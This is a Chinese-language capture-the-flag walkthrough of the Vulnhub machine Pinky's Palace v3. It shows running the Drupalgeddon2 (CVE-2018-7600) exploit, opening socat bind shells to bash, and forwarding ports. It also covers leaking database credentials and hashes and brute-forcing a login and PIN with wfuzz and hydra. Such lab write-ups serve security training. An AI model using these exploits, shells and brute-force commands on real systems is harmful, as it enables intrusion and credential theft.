zoukankan      html  css  js  c++  java
  • Vulnhub-靶机-Pinky's Palace: v3

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现,本次是直接根据靶机目标给出的地址进行测试

    目标靶机的下载地址:https://www.vulnhub.com/entry/pinkys-palace-v3,237/

     如图中所示,靶机地址是192.168.5.135

    首先尝试全端口扫描,具体如下: nmap -sC -sV -p- 192.168.5.135

     发现开放了3个端口,先测试下ftp,这里根据nmap的扫描结果发现是可以允许匿名登陆的,那么尝试登陆看看

    登陆ftp我个人喜好使用lftp,因为他支持tab键

    匿名登陆成功

    这里大家仔细看上面的截图,一把正常情况下是只含有一个点,和两个点,那么这里有一个3个点的文件,很可能就是隐藏文件,我们尝试进入看看

    成功进入此隐藏目录,再次尝试使用命令查看隐藏文件

    发现有个.bak文件夹

    进入.bak文件夹之后发现有个firewall文件,下载下来看看

     查看firewall.sh文件内容

     iptables相关知识可以参考:

    https://blog.csdn.net/sinat_27261621/article/details/93893712

    https://blog.csdn.net/qq_38892883/article/details/79709023

    大概意思是提权不了,不允许外部连接进来,发现有NEW状态则直接被block

    那么我们只能看看下一个开放的端口试试,先从web 看看是否能够打开突破口

    根据上面nmap扫描的结果访问 http://192.168.5.135:8000/CHANGELOG.txt 可以知道当前目标靶机的版本是7.57

    当然,上述也是可以手工访问robots.txt查看暴露出来的URL地址进行判断,此时知道目标靶机的版本,那么就可以尝试找找是否存在对应的exploit

    经过谷歌搜索或者在kali上执行searchsploit搜索对应的exp ,具体如下所示:

    对应的exp地址 https://www.exploit-db.com/exploits/44449 ,也可以通过kali自身找到上述展示的44449.rb

    执行对应的exp 发现如下报错

     根据作者反馈是因为没有安装对应的包,具体原因在这里:https://github.com/dreadlocked/Drupalgeddon2/issues/55 那么我们尝试安装一下。

    尝试安装发现还是有问题

     那么就直接下载对应缺少的包specs.4.8.gz,具体如下,由于下载的比较慢,就是要了proxychains

     下载完成之后开始解压

    解压出来放在当前目录下就可以,然后在当前目录下执行安装的命令 sudo gem install highline

     再次尝试执行exp,确认是否能够正常执行

     OK,发现是没问题的,可以直接执行,那么我们开始直接执行exp获取目标的权限

    这里也可以使用另一种方式的exp直接远程执行命令,对应exp地址:https://github.com/Jack-Barradell/exploits/blob/master/CVE-2018-7600/cve-2018-7600-drupal7.py

    下载exp

    proxychains curl -o drupal7.py -fsSL https://raw.githubusercontent.com/Jack-Barradell
    /exploits/master/CVE-2018-7600/cve-2018-7600-drupal7.py

    下载完成之后直接使用python3执行即可,如下演示:

    python3 drupal7.py -t 192.168.5.135 -c "id" -p 8000

    这里有一种生成交互shell的姿势,演示一下:

    在目标靶机上通过这个exp远程执行命令: python3 drupal7.py -t 192.168.5.135 -c "socat TCP-LISTEN:4488,reuseaddr,fork, EXEC:bash,pty,stderr,setsid,sigint,sane" -p 8000

    目的就是达到在目标靶机上监听一个4488的端口

    然后本机kali上执行主动连接目标靶机的4488端口

    socat FILE:`tty`,raw,echo=0 TCP:192.168.5.135:4488

    成功拿到交互式shell,此时刚刚执行的监听4488端口已经有如下反馈:

    这个不影响,继续向下搞,根据上述的网络连接情况,可以知道开放的8000端口是nginx,那么看看nginx的配置

    cat /etc/nginx/sites-available/default

    发现开放了80端口,再次查看网络连接状态

    确认是本地监听80端口,想要访问的方便,需要进行端口转发了,这个先放着,再看看发现有监听数据库3306,那么肯定有数据库在使用,因为我们是通过web页面进来的,那么这个web有可能使用了此数据库,那么目前获得的shell就是在当前web的根目录下面,那么直接看看有没有配置文件,具体操作看下面演示:

    通过查看setting.php,发现了数据库密码

    数据库账户dpink 密码是drupink,开始登陆数据库

     

    发现账户和加密的密码,尝试破解无果

    pinkadmin | $S$DDLlBhU7uSuGiPBv1gqEL1QDM1G2Nf3SQOXQ6TT7zsAE3IBZAgup
    test | $S$DBGqtQUQc4ft.uP0RTmHAauVzyz.RqwP/y.obFrOz8DbaJcviwDz

    再看看网络连接的情况,发现还监听了一个65334端口,可以确认不是nginx监听的端口,那么尝试查看etc目录下是否存在其他类似nginx的中间件,倒腾翻了一遍,发现存在apache2文件夹,进入该文件夹查看相关配置文件,如下:

     

    确认80和65334端口是通过Apache进行监听的,同时对于的web根目录就是在用户pinksec这个用户的家目录下,此时需要突破的目标就是拿到用户pinksec的权限

    由于80和65334端口是监听在本地,为了方便访问,尝试使用socat进行端口转发,执行如下命令

    socat TCP-LISTEN:4499,fork TCP:127.0.0.1:80 &
    socat TCP-LISTEN:4466,fork TCP:127.0.0.1:65334 &

    此时我们发现已经做了端口转发了,具体如下:

     访问转发的端口

     

    根据192.168.5.135:4466的访问结果,使用crunch命令生成指定范围内的爆破字典文件为暴力破解做准备

    crunch 3 5 -f /usr/share/crunch/charset.lst lalpha -o pinkdbcrunsh

    这里就是gobuster进行暴力破解目录,默认kali下面没有安装,直接使用apt-get install gobuster 安装即可

    开始暴力破解目录

    gobuster dir -u http://192.168.5.135:4466 -w pinkdbcrunsh -x db

     访问暴力破解出来的目录数据库文件,这里面存的就是某用户对于的某密码

    知道目标的密码范围之后,根据目标靶机执行的cat /etc/passwd里面的用户信息和数据库信息猜测可能存在如下用户名

    vim usernames.txt

    pinksec

    pinkadmin

    pinksecmanagement

    pinky

    dpink

    将目标http://192.168.5.135:4466/pwds.db 文件下载下来作为密码字典进行暴力破解

    这里使用wfuzz

    参数说明:
    -c 用颜色输出,如果不加,那么输出的是没有任何颜色
    -z 指定有效的payload(类型,参数,编码,字典等)
    -d 指定提交的POST数据,一遍是POST请求的data数据 这里指的就是 'user=FUZZ&pass=FUZ2Z&pin=33221'
    -hh 表示隐藏字符的响应信息 本例子中账户密码错误的显示响应的字符是45,正确的是显示41

    wfuzz -c -z file,./usernames.txt -z file,./pwds.db -d 'user=FUZZ&pass=FUZ2Z&pin=33221' --hh 45 http://192.168.5.135:4499/login.php

    因为登陆目标http://192.168.5.135:4499/ 还需要一个pin值,并且是5位纯数字,那么我们可以使用crunch进行生成5位纯数字字典 首先生成纯5位数字的pin码

    crunch 5 5 -f /usr/share/crunch/charset.lst numeric -o pin.txt

    到了这一步就可以开始对web登陆页面进行暴力破解了,这里可以使用hydra,wfuzz,burpsuite

    这里暴力破解是需要花些时间的,需要耐心

    wfuzz破解pin码

    所以总结下来,得出账户名和密码及pin码如下:

    pinkadmin - AaPinkSecaAdmin4467 - 55849

    wfuzz的用法参考:

    https://blog.csdn.net/JBlock/article/details/88619117

    https://blog.csdn.net/wxh09/article/details/88167586

    还可以使用hydra

    hydra -L pin.txt -P pwds.db 192.168.5.135 -s 4499 http-post-form "/login.php:user=pinkadmin&pass=^PASS^&pin=^USER^:F=Incorrect"

    但是我测试的效果不是太好

    通过上面的账户和密码和pin码直接登录http://192.168.5.135:4499

    发现是可以执行命令的

    执行的用户是pinksec,既然能执行命令,那么就直接使用socat打个隧道

    socat TCP-LISTEN:1688,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

    然后在kali上主动连接1688端口即可

    socat FILE:`tty`,raw,echo=0 TCP:192.168.5.135:1688

     

    反看所在的目录和上级目录,发现bin目录然后里面有个二进制文件

    通过移动此二进制文件到目标web的根目录下载到本地然后,分析,这里我目前不打算演示了,二进制不懂哈,感兴趣的参考下面几个wirteup

    https://reboare.github.io/pinky/pinkys-palace-v3.html

    https://medium.com/egghunter/pinkys-palace-v3-vulnhub-walkthrough-619344a21efe

    https://blog.csdn.net/qq_34801745/article/details/104105321

    https://d.oulove.me/2019/06/27/Pinky-s-Palace-v3-walkthrough/

  • 相关阅读:
    Swift游戏实战-跑酷熊猫 14 熊猫打滚
    Swift游戏实战-跑酷熊猫 13 二段跳的实现
    Swift游戏实战-跑酷熊猫 12 与平台的碰撞
    Swift游戏实战-跑酷熊猫 11 欢迎进入物理世界
    Swift游戏实战-跑酷熊猫 10 视差滚动背景
    Swift游戏实战-跑酷熊猫 09 移除场景之外的平台
    ANE-调用原生地图注意点
    ANE-如何加入ane,调试时又不报错
    ANE-调用原生组件横屏定位问题
    qrcode.js的识别解析二维码图片和生成二维码图片
  • 原文地址:https://www.cnblogs.com/autopwn/p/13516510.html
Copyright © 2011-2022 走看看